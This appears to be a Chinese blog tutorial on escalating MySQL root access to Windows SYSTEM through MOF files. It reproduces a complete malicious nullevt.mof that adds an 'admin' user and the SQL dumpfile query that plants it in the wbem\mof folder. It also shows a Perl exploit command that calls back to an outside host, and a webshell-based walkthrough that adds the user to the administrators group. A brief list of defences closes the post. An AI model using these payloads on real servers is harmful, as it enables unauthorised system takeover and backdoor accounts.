MySQL資料庫Root許可權MOF方法提權研究
MySQL Root許可權MOF方法提權是來自國外Kingcope大牛釋出的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)
,簡稱mysql遠端提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 儲存庫的託管物件格式 (MOF) 檔案:
方法1:執行 MOF 檔案指定為命令列引數將 Mofcomp.exe 檔案。
方法2:使用 IMofCompiler 介面和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 資料夾的 MOF 檔案。
Microsoft 建議您到儲存庫編譯 MOF 檔案使用前兩種方法。也就是執行 Mofcomp.exe 檔案,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向後相容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。注意使用MOF方法提權的前提是當前Root帳號可以複製檔案到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!
001漏洞利用方法分析
該漏洞的利用前提條件是必須具備mysql的root許可權,在Kingcope公佈的0day中公佈了一個pl利用指令碼。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100為mysql資料庫所在伺服器,mysql口令為空,反彈到192.168.2.150的5555埠上。
1.生成nullevt.mof檔案
將以下程式碼儲存為nullevt.mof檔案:
# pragma namespace("\\.\root\subscription")
instance of **EventFilter as $EventFilter{ EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select \* From **InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.通過Mysql查詢將檔案匯入
執行以下查詢語句,將上面生成的nullevt.mof匯入到c:\windows\system32\wbem\mof\目錄下在windows7中預設是拒絕訪問的。匯入後系統會自動執行,執行命令。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
002實戰利用
1.實驗環境
本次實驗環境為Windows2003+Apache+PHP,已經擁有Webshell許可權。
2.上傳檔案到可寫目錄
將nullevt.mof檔案上傳到伺服器可寫目錄,例如C:\RECYCLER\,如圖1所示。
圖1上傳檔案nullevt.mof
3.執行命令
配置好中國菜刀,然後通過資料庫管理,執行查詢命令,在執行查詢命令前需要先選擇一下資料庫,然後將以下程式碼複製到查詢語句輸入框中,如圖2所示。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
圖2執行查詢命令
4.檢視執行結果
執行完畢後需要修改新增使用者命令為將使用者新增到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳並查詢,如圖3所示,通過net user檢視,果然admin已被新增到系統中。
圖3新增使用者成功
003防範方法
Mysql Root許可權MOF方法提權其前提條件是能夠將上傳的nullevt.mof複製到系統目錄下,例如c:\windows\system32\wbem\mof中,如果無法複製則會提權失敗。一般對Windows2003以下作業系統效果較好,Windows2008以上由於保護機制,較少能夠成功。因此可以採取以下措施進行防範:
1.在程式資料庫連線檔案中儘量不要使用Root帳號進行連線。
2.Root帳號使用強加密方式,採用字母大小寫+數字+特殊字元,密碼位數15位以上。
3.對Mysql資料庫的mysql資料庫目錄許可權嚴格限制,IIS使用者無法讀寫該檔案。
作業系統目錄c:\windows\system32\wbem禁止寫入。
相關文章
- mysql提權之mof詳解MySql
- Mysql資料庫許可權問題MySql資料庫
- 授權|取消授權MYSQL資料庫使用者許可權MySql資料庫
- Linux提權-許可權升級Linux
- 資料庫的許可權管理資料庫
- [資料庫]MYSQL之授予/查驗binlog許可權資料庫MySql
- mysql許可權MySql
- 許可權系統:一文搞懂功能許可權、資料許可權
- 取消 root 級管理員的 root 許可權
- 資料庫學習:許可權管理資料庫
- MySQL許可權管理MySql
- mysql 床架新資料庫並分配使用者許可權MySql資料庫
- Android手機獲取Root許可權Android
- Mysql許可權管理以及sql資料備份MySql
- mysql許可權參考MySql
- MySQL 許可權詳解MySql
- MySQL許可權問題MySql
- 七、許可權管理和資料庫備份資料庫
- PostgreSQL資料庫使用者許可權管理SQL資料庫
- Oracle 資料庫安全許可權配置標準Oracle資料庫
- Linux 目錄許可權研究Linux
- 永久開啟user版本adb root許可權
- 讓root使用者有super許可權
- android 許可權庫EasyPermissionsAndroid
- 許可權之選單許可權
- linux 檔案許可權 s 許可權和 t 許可權解析Linux
- win10 建資料夾許可權方法 如何設定windows10檔案許可權Win10Windows
- SpringSecurity許可權管理系統實戰—九、資料許可權的配置SpringGse
- 滲透之——資料庫提權資料庫
- 資料分析的許可權控制
- 關於mysql許可權管理MySql
- MySQL許可權管理實戰MySql
- canal mysql select許可權粒度MySql
- mysql連線無許可權MySql
- 【專案實踐】一文帶你搞定頁面許可權、按鈕許可權以及資料許可權
- 如何用 Vue 實現前端許可權控制(路由許可權 + 檢視許可權 + 請求許可權)Vue前端路由
- 在Windows低許可權下利用服務進行提權Windows
- 通過可寫檔案獲取 Linux root 許可權的 5 種方法Linux